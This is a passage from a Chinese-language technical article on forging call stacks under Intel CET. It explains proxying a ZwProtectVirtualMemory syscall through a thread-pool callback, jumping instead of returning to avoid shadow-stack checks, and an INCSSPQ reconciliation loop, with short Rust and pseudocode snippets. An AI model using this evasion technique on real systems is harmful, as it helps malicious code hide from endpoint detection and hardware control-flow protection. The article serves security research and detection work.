0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">结果。然后跳板的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">。此时，Enum 函数的代码运行，用其自己的内部值覆盖 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">，等到我们的回调再次被调用时（如果确实被调用），原始的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">早已消失。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那么你怎么知道 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">是否成功？你使用哨兵值。在 PoC 中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">old_protect</span></code><span leaf="">变量在调用前初始化为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0xFFFFFFFF</span></code><span leaf="">：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> old_protect </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFF_FFFFu32</span></span><span leaf="">;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ZwProtectVirtualMemory</span></code><span leaf="">成功，内核将实际旧保护值写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">old_protect</span></code><span leaf="">（通过我们作为 arg5 传递的指针）。线程池工作完成后，我们检查：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> old_protect </span><span style="color: rgb(215, 58, 73);"><span leaf="">==</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xFFFF_FFFF</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// Still sentinel → syscall didn&#39;t write to it → something went wrong</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Err</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Ok</span></span><span leaf="">(old_protect)</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种模式适用于任何向输出缓冲区写入的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">。对于不产生输出的系统调用，你需要用其他可观察的副作用来发挥创意。不理想，但这是为完全伪造的调用栈所做的权衡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6. CET 兼容性：核心贡献</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6.1 传统伪造在 CET 下为何失效</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP]</span></code><span leaf="">写入假返回地址。CPU 执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">，从两个栈弹出，比较：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Normal stack:  [fake_addr]   ← what you wrote</span><span leaf=""><br/></span><span leaf="">Shadow stack:  [real_addr]   ← what the CPU wrote on CALL</span><span leaf=""><br/></span><span leaf="">fake_addr != real_addr → <a class="wx_topic_link" topic-id="mrmb41h7-ozkhr5" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a> fault → crash</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">影子栈是硬件保护的。你无法用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mov</span></code><span leaf="">写入它。传统伪造到此结束。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6.2 用 JMP 代替 RET</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我的上下文切换使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp r11</span></code><span leaf="">而非 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">JMP</span></code><span leaf="">完全不触碰影子栈。不从任一栈弹出，不比较。CET 根本不参与。在上下文切换的那一刻，影子栈检查被完全绕过。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但影子栈仍然有来自到达 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">的调用链的过期条目。如果我不处理它们，跳转到的代码中的第一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">会找到不匹配的条目。这就是对账的用武之地。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6.3 影子栈指针对账</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><span leaf="">，进入它的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call</span></code><span leaf="">将返回地址压入影子栈。我们从不从中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">（我们 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">jmp</span></code><span leaf="">），所以该条目是过期的。如果我们不消耗它，跳转后（在跳板或 Enum 函数中）的第一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">会发现正常栈与影子栈之间不匹配。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrmb41h7-hrd4dk" style="color: #576B95 !important;" data-topic="1" data-recommend="">#CP</a></span></code><span leaf="">异常。死亡。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对账循环推进 SSP 直到它与正常栈上的内容对齐：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">1. `RDSSPQ rax`        → Read current SSP into RAX (0 if CET is off)</span><span leaf=""><br/></span><span leaf="">2. If `RAX` == 0       → CET disabled, skip (technique works on both)</span><span leaf=""><br/></span><span leaf="">3. Loop (up to 16 iterations):</span><span leaf=""><br/></span><span leaf="">   a. Read shadow stack entry at `[RAX]`</span><span leaf=""><br/></span><span leaf="">   b. Compare to expected return address at `[new_rsp]`</span><span leaf=""><br/></span><span leaf="">   c. Match → done, `SSP` is aligned</span><span leaf=""><br/></span><span leaf="">   d. No match → `INCSSPQ` 1 to skip past the stale entry (advances by 8 bytes)</span><span leaf=""><br/></span><span leaf="">   e. `RAX += 8`, repeat</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实际上，循环每次上下文切换精确触发一次：它跳过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call user_mode_continue</span></code><span leaf="">留下的一个过期条目，然后找到目标返回地址（来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">），与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[new_rsp]</span></code><span leaf="">匹配。完成。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阶段 1</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user_mode_continue</span></code><span leaf="">开始执行时，正常栈（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RSP</span></code><span leaf="">）尚未移动。影子栈指针（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSP</span></code><span leaf="">）自然指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">call user_mode_continue</span></code><span leaf="">指令留下的返回地址（此例中，回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">thread_pool_worker_enum</span></code><span leaf="">）。你可以看到这个过期条目在影子栈顶部：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-imgfileid="100012914" alt="Phase 1: Shadow stack before reconciliation" class="rich_pages wxw-img" data-ratio="0.6047430830039525" data-type="png" data-w="759" style="max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a22d0ebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjmmypRwiapciaocGeLmjticNosMoH7MwGWvfiaqUtXyxKBB9LWiaRPFszHvtkFLiciaxz4krZzRJswatPGQ9hiaIZjqFmuqp8b92EPCzg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Phase 1: Shadow stack before reconciliation</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">阶段 1：对账前的影子栈</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，我们伪造的上下文（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">new_rsp</span></code><span leaf="">）期望直接返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TppWorkpExecuteCallback</span></code><span leaf="">。对账循环将 SSP 条目与我们的目标比较并执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INCSSPQ</span></code><span leaf="">。这将 SSP 推进 8 字节，跳过过期条目并使影子栈与我们预期的返回地址对齐：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 